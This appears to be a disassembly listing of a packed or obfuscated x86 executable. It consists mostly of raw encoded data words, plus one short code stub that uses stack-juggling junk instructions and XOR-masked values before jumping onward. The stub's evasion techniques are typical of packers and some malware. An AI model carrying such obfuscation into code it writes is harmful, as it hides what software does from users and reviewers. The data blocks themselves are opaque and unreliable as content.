		dd 5EEB5FC3h, 610447C7h, 0E9006174h, 0Ah, 315B180Eh, 0F4A49B4Eh
		dd 858B58ACh, 630272Fh,	41A6F681h, 47894806h, 8BF38B0Ch
		dd 30273385h, 0BE85306h, 59000000h, 0C3E4CF82h,	7D7CB9B5h
		dd 0D680AEF6h, 895A5A72h, 958B0847h, 6282941h, 6A28C783h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 2454C350h, 92B8816Ch, 0C73EC072h,	6F632E07h
		dd 8D0F6Eh, 0C7000000h,	69660447h, 6A0067h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 0F28B45C3h
		dd 1EC58D89h, 858B0628h, 630272Bh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 0EFC35343h,	3FFC7236h, 0EE99066h
		dd 75000000h, 6E20D09Eh, 5C206EA0h, 7D87E547h, 0C47895Fh
		dd 1889958Bh, 858B0628h, 6302727h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 0DAC35242h,	44252CD0h, 0C21E49BEh
		dd 5D1DBA7Eh, 47892531h, 0EE908h, 70D70000h, 67534BCCh
		dd 18CA6C37h, 960C7097h, 0FE958h, 5E260000h, 0E598B664h
		dd 51B4D0B2h, 484ECC85h, 0ABE681CCh, 8D4EE710h,	282AF58Dh
		dd 0D18B6606h, 0FA2BE50h, 0C890388h, 56006A24h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 0D6B70F60h
		dd 0C9D3E681h, 0B5FF466Eh, 62821D1h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 29C35545h, 17A6E7B5h, 0B23D7231h
		dd 9C7C68B9h, 14E85B59h, 0E9000000h, 3F9A28E1h,	20F059F4h
		dd 2398544Eh, 0E9D5DFCFh, 664CD86Fh, 5A89C3BAh,	7C243481h
		dd 295B598Ch, 2802D5BDh, 0DDB5FF06h, 6A06282Bh,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 1AEEC356h, 0FFB532D6h, 0B7BE66D0h, 0B82Ah, 13E80000h
		dd 0FC000000h, 0FE95455Bh, 0D922DCDBh, 1C54A250h, 90560913h
		dd 11E81CC1h, 0FA000000h, 5A068206h, 2D019D95h,	0CAA85FCAh
		dd 63017B4Ch, 2261958Bh, 5A5E0628h, 840FC00Bh, 18h, 0FF98EA80h
		dd 282939B5h, 0B5958B06h, 0FF062824h, 2814D995h, 0D1B70F06h
		dd 8BF9C08Bh, 49BD83D0h, 62801h, 0BD830975h, 62814C5h
		dd 50197400h, 0B8C08B53h, 42Dh,	2E558589h, 9D8D0628h, 62AA5C5h
		dd 585BD3FFh, 14C5BD83h, 74000628h, 0B8535017h,	42Dh, 2E558589h
		dd 9D8D0628h, 62AA266h,	585BD3FFh, 8BD08B66h, 28204595h
		dd 0E8C08B06h, 11h, 0E15C7ADBh,	0D3B1A725h, 9EA90D3Ah
		dd 0FC94113Ch, 2D8529F9h, 5A06281Fh, 8D8DC08Bh,	6303156h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 4BC35242h
		dd 98305466h, 7927340Fh, 499D8B86h, 81062802h, 24C43DE0h
		dd 158D8918h, 6A062807h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 530FC352h, 0B58BFF2Bh
		dd 6280355h, 298D0160h,	23062808h, 281A3D9Dh, 85C76106h
		dd 62821BDh, 6DDCh, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 17h, 0E4C35343h, 8985F8E9h, 280EDD8Dh, 0C870F06h
		dd 0F000000h, 68Ch, 0A9B58B00h,	8B062806h, 2801B595h, 3D85C706h
		dd 62811h, 0E9000000h, 0Bh, 4C14EB85h, 7B38B29Dh, 0FF77DEADh
		dd 282E79B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1804h, 0C3564600h, 0B32FD9EBh, 9DB5892Ch, 66062825h
		dd 26A6F381h, 14D995FFh, 6A0628h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 44A4EBC3h, 2C2CE980h
		dd 661F2E01h, 981CE281h, 95FF006Ah, 6280465h, 4AEBC08Bh
		dd 7B1C3C3Bh, 0ECC95FB1h, 722EEAC6h, 0CBE05984h, 0A1B185F4h
		dd 84E23BFFh, 858E5A49h, 84E302B3h, 796D2728h, 6C5D56ECh
		dd 26EB7F28h, 0BAC3F3EDh, 0FE1CD14Bh, 1B8BEC9Ch, 536650DDh
		dd 0B82D8FD0h, 0E88E07AEh, 39D52F4Bh, 22E92CA3h, 38000000h
		dd 7F5A0Bh, 7 dup(0)
		dd 5E8E900h, 3E0F0000h,	0F9C7CB48h, 0AE7A7EFBh,	592B2FACh
		dd 15E2E663h, 0CB979A17h, 0B22F2DFAh, 68E5DFAEh, 1A979964h
		dd 0CF4C4616h, 65B319A9h, 0F7943A2h, 10E0C73Ch,	703DF116h
		dd 21F1F572h, 0A04D685Dh, 7AE01468h, 0D7D1A155h, 3230FEB2h
		dd 8D4A0C6h, 3C00C64Eh,	22B61C4Ch, 4E077F59h, 92FEF8C8h
		dd 0ADFB7D6Eh, 13A4D3F4h, 1E5D8D50h, 3F60F4F3h,	0F16E703Bh
		dd 2FED53B3h, 497F730Ch, 521DF387h, 579B4386h, 76D4089h
		dd 995F2EE2h, 0B8A6CBCDh, 73C78A52h, 86ECAE7Fh,	8B2FFB20h
		dd 0C717C52Bh, 5F217F73h, 8C12CBCBh, 2D53BFC1h,	6632645Eh
		dd 0ABAFD064h, 0C7C117DBh, 0AD3251FBh, 8DB2AC7Bh, 0ADD33FA5h
		dd 53718E0h, 0A9532D47h, 0F2E6AF43h, 7F73B32Fh,	0F6C1E7F3h
		dd 53E7CFF4h, 5C1D9A53h, 36BB314Fh, 0BFA870D6h,	0ACC7F73h
		dd 7C8A76h, 0E0B70000h,	0B27E4A10h, 0CF0FE6E3h,	1C41A7D8h
		dd 34360234h, 61B5A9CEh, 0B57F7351h, 0F68300B9h, 0C0BB31F0h
		dd 1, 1412E0EDh, 6F6D3BEFh, 0FB81DF03h,	0CAEFE9B9h, 7C00B2E2h
		dd 6B1FE87Ch, 0A47EA399h, 292BF61Ch, 88881C04h,	7D7B49CFh
		dd 0FC62C200h, 7F738ADCh, 2C029658h, 0C9CB965Ch, 0BB8ABCA4h
		dd 0C9EF5BC1h, 3F5035F9h, 0DD93FB68h, 0FE6A5277h, 73734098h
		dd 9E32F47Fh, 13E0147Dh, 6E3CF015h, 93D4046Ah, 9E607F73h
		dd 930CCC32h, 66287F73h, 7614DB00h, 6C6A37BDh, 571BEBEFh
		dd 0EA6DA2BFh, 3CDC4225h, 387F73D4h, 85AA1076h,	0A99F7197h
		dd 32089C84h, 4C3F6466h, 0B9D04D06h, 0FDBB3174h, 75h, 1513E02Ah
		dd 6E703CF0h, 87E76F49h, 7393FB21h, 89BB7D7Fh, 2D2DC1B7h
		dd 2321EE74h, 0BD5A2A6h, 321A3F3Dh, 13382E00h, 0ECA0C52Bh
		dd 0CFF241Ah, 0F9900DC6h, 99BB312Dh, 9805D339h,	6D2F7F73h
		dd 987D9B01h, 35F77F73h, 4EB5A1h, 0A6E20000h, 8FB4B280h
		dd 7D53BA7h, 317F7393h,	3805DB6Fh, 1DA71170h, 0BB217C21h
		dd 1517E296h, 0F0A90BF0h, 229F9D6Ah, 1412E0B9h,	93D8FBEFh
		dd 0FC7F73h, 30AFCA47h,	1107BB31h, 5F000000h, 25558F3Bh
		dd 1A122E7h, 94295978h,	4782164Dh, 0ED1214E0h, 3696939h
		dd 7F7393D5h, 996B9D5Fh, 30967EA3h, 0F2AB3F0Bh,	0AC6CD232h
		dd 0C87F7393h, 0D09C7206h, 8E6151CEh, 4893F965h, 36755B8Ch
		dd 0AA7A4010h, 3DA38BB0h, 668B4DA9h, 6BE8E2B2h,	3C3A072Dh
		dd 94B26AD0h, 4C6795Bh,	4CA9A70h, 0ACD13739h, 0CCCA98BEh
		dd 94FC2238h, 3606795Bh, 0C329173Ch, 795B9415h,	5C2B5D1Fh
		dd 9426F65Ch, 9052795Bh, 6453052Ah, 0C37F9050h,	7A3397F9h
		dd 0C62C22F4h, 0C2480163h, 777BF8F2h, 0D488ADA7h, 3E9E0A04h
		dd 5B0C00D8h, 0DE723479h, 98926115h, 0F2F4BF73h, 0AF6806CDh
		dd 0A202B0F5h, 5B0C9C3Ch, 6D0C9879h, 2A0F9B8h, 0A0A0349Ah
		dd 979161E7h, 0E6B6DC1Ah, 0EC525420h, 0C7ECEEBAh, 0FB7E4BDFh
		dd 0BBC159B8h, 166h, 5682A6E8h,	4496ECE9h, 9A0002CEh, 54714406h
		dd 682F82E8h, 8951755Bh, 5BF8F523h, 8BBD7F79h, 0B39BC0BEh
		dd 0A474284Dh, 48183EAAh, 0F83AE248h, 7C3E795Bh, 5D618216h
		dd 127938Dh, 0D7A03436h, 34595323h, 8DB2B480h, 0DA0C0ED9h
		dd 49AA440Ch, 0A966275Ch, 0B9571E43h, 0B2A87A00h, 0B069074Ch
		dd 0F4605A2Ah, 1FBA0FD0h, 780C7F8Ah, 6EF51957h,	8058BE8Ah
		dd 0B4795B81h, 0D947C2F2h, 95E4B145h, 0FDC159D0h, 7B0F05D7h
		dd 4E8Fh, 46A6BC00h, 739338E0h,	0DEAE3C7Fh, 28EA7EE4h
		dd 9CC22E53h, 0C1A9CED0h, 9DC2C48Fh, 0AB1121B5h, 0FF73934Dh
		dd 0EA489B27h, 0EAF4667Ch, 0AD6B5F84h, 1DFF7335h, 0B98E00B9h
		dd 3F0A309Ch, 9C30183Dh, 35D6268Ch, 0E0A27F73h,	8C5C63h
		dd 0F4630000h, 0A3693821h, 0F75DBD1h, 0B49A3DA3h, 88E8755Bh
		dd 27999362h, 795B8CF1h, 0D12DC183h, 1D43A30Fh,	452D5250h
		dd 5B8C05D3h, 0D96D2F79h, 928C5C10h, 47411115h,	8DF52E22h
		dd 72E4795Bh, 0EE827C4Ch, 0DFAF35EEh, 0A57868E5h, 49F01480h
		dd 8C25D5DFh, 93F9099Dh, 730B462Bh, 65657195h, 4485CAFBh
		dd 6D9254B0h, 28BC5B7Fh, 9EFD3A48h, 6A64340Ah, 2CE57945h
		dd 52BEE7BAh, 0D4F9CEF2h, 0D03FDA31h, 8D98263Ch, 1ADC797Ah
		dd 21F4349Dh, 0A7729804h, 2C9280A5h, 7F7393ECh,	0CC60C688h
		dd 96FC5CBCh, 7F739346h, 869C30F2h, 7523A138h, 0A1557A3Ch
		dd 1C5AD7D1h, 9A2E24F6h, 8EFAF4C4h, 0A110C82Eh,	0A707943h
		dd 7943A1D2h, 2AECA466h, 108062FAh, 6E02EC26h, 2E61B1A5h
		dd 0EB63E02Dh, 18DCAC32h, 9908E776h, 0AC298FB2h, 8076486Eh
		dd 4C4616ECh, 0ABA17327h, 0F216BA86h, 47B5947Dh, 19BF25A1h
		dd 1B00E942h, 5F5FF359h, 13C2E6A6h, 0EFF1BDDEh,	91C635BFh
		dd 5D5727FDh, 120CDCE0h, 9D9FFEDh, 6E02EA0Fh, 0C95h, 65879C00h
		dd 71E85F41h, 0FD915999h, 190FE0C2h, 767040F4h,	0D0D29D51h
		dd 2E28F7ABh, 8A885509h, 0E6E4B165h, 453B0DC1h,	9EA06C20h
		dd 0F9F7C579h, 8168FFD4h, 89000023h, 89522414h,	4C281E2h
		dd 83000000h, 148704EAh, 34895C24h, 4EC8324h, 53240C89h
		dd 35303BBBh, 59B8504Fh, 21243256h, 814358C3h, 0A36E36CBh
		dd 81DBF750h, 0FF0705C3h, 16F3813Dh, 89EF7BB9h,	8B545BDEh
		dd 0C481240Ch, 4, 470A68h, 24348900h, 0FF08418Fh, 81592434h
		dd 4C4h, 24348B00h, 5E08950h, 4, 8704C083h, 0E95C2404h
		dd 0FFF8482Dh, 0C0446454h, 621A92D0h, 31B8279Eh, 3063037h
		dd 2BE0FFC5h, 404B60C0h, 0AF2D399Ah, 0E117C656h, 0F61A7707h
		dd 0FA3974CAh, 183E45A1h, 0A70DA3FFh, 0CA22B526h, 0C169FF04h
		dd 962F5096h, 87745F4Ah, 544F97BCh, 0E31A893Ah,	0F603CF56h
		dd 847C39F4h, 9D1F50DFh, 3A2478D8h, 0B75329CAh,	9607A310h
		dd 6D07B168h, 0B2017D56h, 0E8491BD2h, 7F67A0E7h, 0AB5F528Eh
		dd 397991FDh, 0A91C0163h, 277DAEDh, 3147C996h, 8D3635CEh
		dd 3038B88Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1504h, 0C3534300h, 8D89FD2Eh, 6280715h, 1FC8B866h, 21BD85C7h
		dd 5ACC0628h, 0C68B0000h, 113D85C7h, 628h, 81660000h, 66BADCEBh
		dd 0B5FFFE8Bh, 62826BDh, 0FFF2BF0Fh, 2814D995h,	50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 0EF81660Ah, 6AEE02h,	46595FFh, 0C08B0628h, 27E929EBh
		dd 2FCA9DD4h, 0E1800C9Ah, 0D2C97D21h, 0DB460C40h, 48F8B604h
		dd 0F5D83EC6h, 458A0A8h, 0A8AE93DDh, 1FAF5E73h,	8D379BCFh
		dd 3039C98Dh, 68D0F06h,	29000000h, 28294DB5h, 158D8906h
		dd 6A062807h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 0A6E9C353h, 8B81E5F1h,	0BD85C7D8h
		dd 62821h, 6A000075h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 9A07C357h, 2BAA0AF4h, 2829A19Dh
		dd 3DB58906h, 0C7062823h, 28113D85h, 6,	55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
		dd 3A4880Eh, 5E1B5FFh, 6A0628h,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 7EBBFCC3h, 768BF9D3h
		dd 14D995FFh, 9E80628h,	0A000000h, 849E815Ah, 0B3978185h
		dd 0BED8D01h, 6A580628h, 6595FF00h, 8B062804h
		dd 8D0CEBC0h, 82657B30h, 0E5C9D663h, 0E893D529h, 0Fh, 0A0637402h
		dd 8D71404Dh, 4D0CDD1Fh, 57EB8474h, 5F616056h, 0BD0B595Bh
		dd 6282729h, 6214C181h,	850F0000h, 5, 0BEBEF4BFh, 66C03336h
		dd 0B258DE81h, 0F501148Bh, 0BB46C281h, 0EE918DDh, 88000000h
		dd 41ECB229h, 84922217h, 46CE7579h, 0BBF28125h,	514AF2F0h
		dd 0D1EB8166h, 0EA815BB1h, 2CEE42C8h, 2569B58Bh, 14890628h
		dd 0E9D78101h, 600AE94Ah, 16B59D09h, 890F0628h,	6, 2289BD89h
		dd 83610628h, 0BD2904E8h, 6280C1Dh, 9EB4F881h, 850FFFFFh
		dd 17h,	2AE9FCh, 417B0000h, 545F6684h, 217213Bh, 0BD3BD05Fh
		dd 8B8DD284h, 2801B5B5h, 0FF76E906h, 35E4FFFFh,	0D2E9AEE2h
		dd 20781020h, 0C1E9746h, 0B3E900EBh, 2E000003h,	0E6EA675Dh
		dd 999D1A18h, 4A4ECBCDh, 1058278h, 0B6B93634h, 4E4C19E8h
		dd 4FECDD1h, 0B6B88387h, 6B653539h, 0D238C8EEh,	7943A90Ah
		dd 0E0E65B2Eh, 84A81412h, 448BC0FBh, 65861AF1h,	1A840327h
		dd 0ECE48C10h, 0B4B68258h, 6B613337h, 1F1DEAEEh, 0D3D19EA2h
		dd 89835256h, 8157BD1Dh, 0B37F7305h, 383C5DF1h,	0B0EE6B6Dh
		dd 3A532C8Ch, 0D66A6C12h, 0B9363000h, 0BE88557Bh, 0E5CDF2F0h
		dd 66C5A7Fh, 7F739AD6h,	83AA062h, 30183D3Bh, 7349869Ch
		dd 0B1857522h, 0D7FCF6C6h, 365B5123h, 59532248h, 65B84C34h
		dd 9799658Bh, 645A8A72h, 8C139EC2h, 3507DD71h, 0FFD2C23Fh
		dd 41046AD6h, 0F3737478h, 0CD9FC531h, 36CAB2D7h, 9FA7796Dh
		dd 0DA20732Bh, 3BD5A421h, 0FCE1C789h, 0E000000h, 0F01513E0h
		dd 42A8A1Ah, 2E163B35h,	93A0849Ah, 48D47F73h, 695B61C3h
		dd 0DAFF65AEh, 0F05C5626h, 45F22A90h, 0C4867F73h, 3B0B0F30h
		dd 0F9B1D541h, 0BCB1A723h, 5210DCEBh, 76DA1622h, 0A67919E2h
		dd 54AB117Dh, 7A755B36h, 2E64B41Ah, 4810795Bh, 5B2E3AE2h
		dd 167C3E79h, 3F642682h, 0A026DF73h, 6959D6D0h,	0A1016D96h
		dd 18E3AD7Bh, 0A38BB016h, 0E216F90Fh, 0C6887373h, 2220EDA1h
		dd 0FCBE90B6h, 0A5CA302Eh, 40829BDh, 0A7CD3937h, 0CDB5DADCh
		dd 68CC509Dh, 53E7D6F1h, 0F015EA8Ah, 62E1E84h, 884A7323h
		dd 25481B0Bh, 230519BFh, 0F3591B73h, 311E2187h,	86AC790Bh
		dd 137EEEBAh, 49FB67ACh, 0A6D6BEE3h, 0ED6D3F5Dh, 55B145DBh
		dd 0EDBA6E93h, 0E3472EFh, 0DBB1453Fh, 7A74440Eh, 0DB01EF14h
		dd 0B7790D0Fh, 0EB51BDE2h, 6D0B34F1h, 0D0D45113h, 4A880503h
		dd 32575924h, 0F47BB64Ah, 32980421h, 755B8157h,	64527739h
		dd 87687540h, 0AE96BBB9h, 610AE37Eh, 2D27F7CDh,	21EFB1B0h
		dd 759B274Ch, 795B13A3h, 2F2DFB21h, 0B88E220Ah,	6D71EEE8h
		dd 907EA39Dh, 1F26F56Ch, 462E5351h, 61E1E316h, 2D27F7CDh
		dd 0EAA34108h, 1D9A9464h, 59BA5722h, 75DB3BC1h,	795B04A7h
		dd 83DE45D1h, 3AB9E2EAh, 2B5440D4h, 81000000h, 0E8B480A6h
		dd 0C620ABEEh, 0F05CC293h, 735D528Ah, 9024E67Fh, 6EDAFBCEh
		dd 5B69E908h, 0A4C98B75h, 0A92620F0h, 0AA2h, 0EE0A900h
		dd 6F3FF318h, 0E08FF875h, 86AC180Eh, 829BDB7h, 20EC52E2h
		dd 907F7393h, 89C9E6Ah,	587EEAACh, 33FC9086h, 90B5AF7Fh
		dd 0CF7730C4h, 930FD93Fh, 6F317F73h, 937F9D03h,	37F97F73h
		dd 0D7056BCBh, 617F7393h, 0E6EA0B9Fh, 50B01C16h, 3D62582Ah
		dd 9335E355h, 0F3C57F73h, 0EF8345FDh, 27E7A0CEh, 93BB61C7h
		dd 0FBBD7F73h, 158E67h,	0E0950000h, 67754C10h, 0A3D3D19Fh
		dd 0B51B0543h, 120CDC90h, 0E0EB3895h, 40F4190Fh, 9D517670h
		dd 0F7ABD0D2h, 55092E28h, 0B1658A88h, 0DC1E6E4h, 6C20453Bh
		dd 0C5799EA0h, 0FFD4F9F7h, 81E28952h, 4C2h, 4EA8300h, 5C241487h
		dd 53240C89h, 0C381E389h, 4, 8704EB83h,	895C241Ch
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	eax
		push	7C170573h
		pop	eax
		sub	eax, 75E6CAC1h
		push	ebp
		mov	ebp, eax
		mov	ecx, ebp
		pop	ebp
		pop	eax
		push	esp
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		xor	dword ptr [esp], 4C772DCh
		pop	dword ptr [esi+8]
		xor	dword ptr [esi+8], 4C772DCh
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_551321
; ---------------------------------------------------------------------------
		dd 0CBB8C011h, 306303Dh, 0DAE0FFC5h, 9C213499h,	0E836D41Bh
		dd 0B94B1865h, 6932EC48h, 0E9679EADh, 4B33693Dh, 817DC61Fh
		dd 877170C0h, 13E9F811h, 3C000000h, 0F39310C1h,	5E4074A9h
		dd 0F1E4351Eh, 0A0EA385Bh, 20BF8E0Ah, 0F7B073Eh, 830FC2B7h
		dd 0
		dd 0BE8h, 0FF704000h, 0ED7D1D30h, 6BB649F8h, 80616060h
		dd 5961B2F3h, 0C860Fh, 830F0000h, 6, 880Fh, 0CE90000h
		dd 0B9000000h, 0C8D4340Eh, 3C782CD5h, 0F35B62Bh, 820FFBBFh
		dd 4, 5BDA8B50h, 0CE9h,	48189500h, 0BCA309E6h, 6052F717h
		dd 0E8CB81BBh, 8107AC81h, 65EB75C8h, 12E971h, 27830000h
		dd 620C9C1Eh, 0B7AD8A10h, 81D9B563h, 0FB531F63h, 81FFB70Fh
		dd 7971C7DFh, 0CFB70F27h, 88B0Fh, 81530000h, 7524A7E6h
		dd 5E95F2Eh, 0B7000000h, 3D9EF83Ch, 0E3B073BEh,	0C58AFC40h
		dd 38C0Fh, 0F2800000h, 8166608Ch, 66B544CFh, 0F189E681h
		dd 5AC18161h, 80485369h, 840FE0D2h, 3, 0E95BDA80h, 14h
		dd 8390887Ah, 0BD750EA8h, 82561B6Eh, 0BC1CEF36h, 0E37FF0DEh
		dd 0DA815751h, 21C39F20h, 0D480585Ah, 50DF8BC0h, 198D0F59h
		dd 0E9000000h, 14h, 0ED646B53h,	4B1FCB39h, 0C61C3944h
		dd 732E6D9Ah, 0BA590E04h, 0EE9h, 5565E400h, 97D80076h
		dd 0CA9AE530h, 0F977946h, 8B66FFB7h, 8A0FDFh, 60000000h
		dd 8CBE6656h, 8D0F585Dh, 6, 8D0Fh, 81610000h, 0CA7F14DFh
		dd 8BBA6673h, 8A0FF577h, 0Bh, 6E9h, 26F33A00h, 80D34F65h
		dd 0BF0F27CAh, 0FE953F0h, 9B000000h, 0E741DC90h, 0E3D2EAB2h
		dd 50C8E9D4h, 0F59457Bh, 38Ch, 0F2BF0F00h, 419EDE81h, 0BE662620h
		dd 8E944F7h, 98000000h,	0E7EE73B8h, 0F7763D9h, 486h, 49BF6600h
		dd 14E9CBh, 7D1A0000h, 6E7CF474h, 7B2A9B04h, 0D9FA71B7h
		dd 67F2BAB8h, 0BA667BBCh, 0E9564B69h, 10h, 3416098h, 7AB98BBAh
		dd 0B7DC3E62h, 0F3AAFA18h, 4471B95Eh, 8B660770h, 67D280CAh
		dd 5353DE8Bh, 5B5F03B0h, 0B1DFB70Fh, 7BBB66B1h,	8166F523h
		dd 662731E6h, 81EFF1BBh, 0F7B29BD1h, 66F0BF2Fh,	0CE810199h
		dd 60C45648h, 0F56F780h, 12E9DBBFh, 8C000000h, 0ED17021Fh
		dd 65D3AA5Ah, 0B04454AAh, 3DAE4EDAh, 10E987h, 84A40000h
		dd 5A9D641Bh, 0F6E7857Ah, 0AE92BCB0h, 0F601A59h, 38Ah
		dd 0FE8B6600h, 611EF480h, 656570B8h, 0F9C9802Ch, 0E8F9F8B3h
		dd 5, 0EAFDD6EFh, 58F88B33h, 9E9h, 9006F800h, 0C0AAA951h
		dd 8D0FB746h, 4, 0BE5BB866h, 0FCFC8A60h, 0EE961h, 54AD0000h
		dd 0A6D87971h, 0DC9593B2h, 10402654h, 95BCFCBBh, 60B8BA29h
		dd 816627B7h, 60D95CEAh, 6661B0B4h, 0B350DE8Bh,	8166594Fh
		dd 0FBA70E3h, 587h, 0C3816600h,	8A0FA213h, 8, 2810Fh, 59510000h
		dd 13860Fh, 0AE80000h, 24000000h, 0CA5825Fh, 8F12ECB5h
		dd 0CFBF0F5Fh, 8A7AB05Ah, 0CE8166F8h, 0F1811D5Dh, 56F667Ch
		dd 9E9h, 64116C00h, 31B7BB23h, 8B668212h, 7E8DFh, 2F0E0000h
		dd 919141DEh, 0A7B96641h, 81665E06h, 0E9E5FAC3h, 0Eh, 1FB685E3h
		dd 838CA18Ch, 1BA6E3C4h, 0E980696Eh, 0F14B4CDh,	13E9CABFh
		dd 76000000h, 31281E1Bh, 11A7459Dh, 29EAB36Dh, 0A92332CCh
		dd 8B0F21C4h, 0
		dd 28E0Fh, 5B10000h, 12E8F8h, 107B0000h, 0DD0F970Dh, 4D70DE3Ch
		dd 4D371E90h, 0A7C15D7Dh, 0BE9h, 435EBF00h, 0C0D77906h
		dd 20302C6Dh, 3AACBB5Fh, 820F6CF7h, 3, 8BF28B66h, 0F6B70FC7h
		dd 0FE9h, 48951700h, 5030FCFDh,	0C39D4F3h, 66832669h, 80DEB70Fh
		dd 0C580CFEBh, 0AE9B9h,	0CFA00000h, 20640012h, 0E6505DB2h
		dd 13E8h, 0ECF4C00h, 27BC53F2h,	0C3EBCA71h, 0AA99C772h
		dd 8BD20210h, 1870Fh, 58F50000h, 98DB8160h, 0E92A12C3h
		dd 13h,	6037BBA3h, 9F78A576h, 67473E6Fh, 9BAAD27Bh, 619A3F40h
		dd 1A8A0Fh, 0FE80000h, 0C000000h, 6BD1DF0h, 0F5F31FC3h
		dd 7F6F06D1h, 81669828h, 5B2F61CFh, 8BFEBF0Fh, 0F28166C2h
		dd 0F280E066h, 3870F6Ah, 80000000h, 0DE9DFC1h, 96000000h
		dd 79917928h, 82975AB8h, 0A3867FADh, 0E9DFC280h, 0Fh, 0C53246D5h
		dd 2708D48h, 48F4D072h,	60FBDCA2h, 0CE9h, 1083F800h, 1AF36EC5h
		dd 86E98D9h, 0DDB76175h, 68BF66F8h, 0BE912h, 0DE6E0000h
		dd 5E3ED472h, 0F1BD568Ch, 0E6C7B852h, 0D98114FEh, 7BF38ACh
		dd 0C4FE8B9h, 0EED88100h, 0F818AF08h, 0BBFFB70Fh, 47AF2753h
		dd 12E8h, 0A98F8C00h, 9C317988h, 52799B89h, 28E4A662h
		dd 0E8B50687h, 0Ah, 5D474479h, 6F792E93h, 58F8BAA8h, 0E8FFB15Fh
		dd 10h,	0FF0CE72Bh, 104653BCh, 99B9B82Eh, 0A5DE2B64h, 0DF58AB8h
		dd 0C6815B16h, 19A72CE6h, 6E08166h, 3DBE6652h, 0D68BFC98h
		dd 8B24C480h, 11E9F8h, 74240000h, 0F9EF591Dh, 96A80AFh
		dd 9948D15Fh, 0F78ADC5h, 38Fh, 1EC98000h, 2890Fh, 0D68B0000h
		dd 0DE8h, 0C5989600h, 0A3B11726h, 0F669FCA4h, 0AE86BF2h
		dd 0C1000000h, 0F299FF4Fh, 0F0D2D984h, 0BE823h,	0D6060000h
		dd 8EE11756h, 0F8B072A2h, 595F58B2h, 8052CB8Ah,	665F84DFh
		dd 9E9D18Bh, 0AB000000h, 0FE7DB4CCh, 0A1232AF3h, 0C88BE78Ah
		dd 0CE9h, 7EF4AE00h, 5A762F56h,	5BC954A5h, 0B0CC80D0h
		dd 8E0Fh, 0D7BB0000h, 605DC741h, 0EE860h, 2AE70000h, 6952360Fh
		dd 3CD67CFCh, 844FC0E9h, 619DB658h, 0CD74F681h,	0B56146A4h
		dd 0DE90Eh, 775A0000h, 1C0FF0CEh, 0E3B72DDCh, 81785AEBh
		dd 414CECEBh, 8E0F6034h, 0
		dd 5AFC5661h, 0DE9h, 6B2DA800h,	7FEFAFEEh, 0DE30EAA8h
		dd 0DE99D1Ch, 53000000h, 0C74A4302h, 0ECEACC61h, 0BC012AD9h
		dd 0AE9h, 0B8428900h, 0F9A9EE5Dh, 0E9FDCF11h, 0Dh, 355F8D31h
		dd 0E6AB166Bh, 3A6BB97Ah, 0F37B575h, 0B8Fh, 5880F00h, 66000000h
		dd 5CD2DE81h, 8E8h, 0CA7A5100h,	106D5CA6h, 8E90Fh, 0C84B0000h
		dd 0EF0EA292h, 0E8583164h, 0Ah,	0C63062ECh, 3A8F4756h
		dd 0D6812C01h, 44D8C9AAh, 12E85Bh, 1B580000h, 268C4EE8h
		dd 1DC3CC88h, 0AACFC89Eh, 0F6DCEF76h, 850F56h, 58000000h
		dd 0BF0F5259h, 0B6B85AF0h, 6601855Bh, 8B2A42BAh, 0EDE580FBh
		dd 0FC6BF0Fh, 870FD9BFh, 19h, 13890Fh, 0EE90000h, 89000000h
		dd 0FA65234Eh, 3BD50175h, 0B0E79F40h, 10E95747h, 4C000000h
		dd 403175AAh, 7AAD5F75h, 0EE69A43Eh, 5EFC473Dh,	80C5EA80h
		dd 33BB87CCh, 8B79A2FBh, 7E8D0h, 0EDFB0000h, 0F4C2B7B6h
		dd 665FF5F2h, 0BA6EC981h, 0C2B70FF5h, 8800Fh, 800F0000h
		dd 2, 0BE9C38Bh, 6F000000h, 2B16EBCFh, 0D1AB17D0h, 0D68B84FCh
		dd 0D880DE8Bh, 0FA8B66D1h, 0A0F28166h, 6E9B7h, 3A2D0000h
		dd 7907EF27h, 8BADE580h, 0DFBE66FEh, 0BE9F2h, 0C6240000h
		dd 0F5CF9952h, 0B16B2E95h, 0FE8AFh, 0CF80000h, 45F8299Eh
		dd 8E393614h, 0AB0E26EAh, 68F0FFEh, 81000000h, 0D8A29CC7h
		dd 0B8665E04h, 80F57956h, 81667CD6h, 6673FFE2h,	0B9402ABFh
		dd 18C5CAC7h, 8E8h, 0A94DAB00h,	77CDBDEh, 1BC4807Ch, 5E95Fh
		dd 4F30000h, 60FB8F8Eh,	86A8C081h, 0CF816434h, 18B0154Ch
		dd 96DF8161h, 0F6949AEh, 587h, 0CB36000h, 0BF6661F5h, 8166C5D7h
		dd 0E82737D7h, 0Bh, 0DD733DC2h,	8F73E778h, 663B2716h, 680DD381h
